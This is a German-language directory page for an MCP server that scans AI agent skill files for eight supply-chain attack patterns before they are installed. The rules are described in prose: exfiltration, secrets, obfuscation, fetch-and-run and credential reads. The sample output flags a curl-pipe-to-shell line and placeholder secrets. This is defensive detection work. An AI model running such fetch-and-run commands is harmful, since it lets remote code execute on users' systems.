mcp-skill-sec
mcp-skill-sec
Ein Model-Context-Protocol-Server (MCP-Server), der jede Art von Agent-Skill, Systemprompt oder heruntergeladener Dateisammlung gegen die 8 Muster bösartiger Skill-Lieferketten prüft.
Deterministisch, ohne LLM, ohne Netzwerkaufrufe — ein selbst hostbarer Vorinstallations-Scanner, der mit Claude Code, Cursor, Copilot, OpenClaw, Codex CLI und jedem MCP-kompatiblen Agenten funktioniert.
Wonach es scannt (Regeln R1–R8)
Regel | Muster |
R1 | Prompt-Injection / Anweisungs-Hijacking ( |
R2 | Datenexfiltrations-Absicht (Inhalte an eine URL senden/postieren/mailen, Log-Diebstahl) |
R3 | Hartkodierte Geheimnisse / Zugangsdaten (API-Schlüssel, PATs, private Schlüssel, Verbindungszeichenfolgen) |
R4 | Gefährliche Befehle ( |
R5 | Verschleierung / verstecktes Verhalten (base64-exec, eval/exec, Nullbreitenzeichen) |
R6 | Nicht vertrauenswürdige externe Abrufe (fetch-and-run, Nicht-PyPI-Installationen) |
R7 | Zugriff auf Zugangsdaten (Lesen von |
R8 | Privilegienausweitung ( |
Jeder Befund enthält eine severity-Einstufung (critical/high/medium/low),
eine Zeilennummer und die zugehörige Beweiszeile. Das Gesamturteil ist nur
dann PASS, wenn es keine critical/high-Befunde gibt und jeder
medium-Befund harmlos ist.
Related MCP server: Heron
Werkzeuge
audit_text(text, filename)— prüft einen String (einen Skill, der dir eingefügt wurde, einen Systemprompt, den du nicht geschrieben hast).audit_skill_file(path)— prüft eineSKILL.md/AGENTS.md/CLAUDE.mdauf der Festplatte; liefert Beweiszeilen mit Zeilennummern.audit_directory(path, pattern)— prüft eine gesamte heruntergeladene Skills-Sammlung; liefert Urteile pro Datei + eine Zusammenfassung.rule_list()— gibt den Regelkatalog aus.
Installation & Ausführung
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / Agent-Konfiguration
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}Beispiel
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-auditLizenz & Herkunft
MIT. Geschrieben von sudo-ai-git. Dies ist ein eigenständiges
Sicherheits-/Verifizierungswerkzeug; es enthält keine proprietäre Methode.
Es ist die MCP-Umsetzung des skill-sec-Agent-Skills (gleiche Regeln,
als Server statt als Skill aufrufbar).
Offizielle MCP-Registry-Metadaten
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityBmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15
- AlicenseNot gradedqualityBmaintenanceSecurity scanning for AI agent skills, MCP servers, and agent prompts, returning signed trust scores and detailed findings.MIT
- AlicenseNot gradedqualityBmaintenanceProvides audit_plugin_health and prepare_semantic_review tools for deterministic inspection of Codex plugins and Agent Skills, generating evidence-backed reports without executing or transmitting target code.1MIT
- AlicenseNot gradedqualityDmaintenanceSecurity scanner for AI agent skills, providing tools to scan skill files for threats such as credential theft and prompt injection.MIT
Related MCP Connectors
Scan agent skills and MCP servers for malicious patterns before you load them
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Read-only tools over the Safer Agentic AI framework: 238 patterns + 14 heuristics.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/sudo-ai-git/mcp-skill-sec'
If you have feedback or need assistance with the MCP directory API, please join our Discord server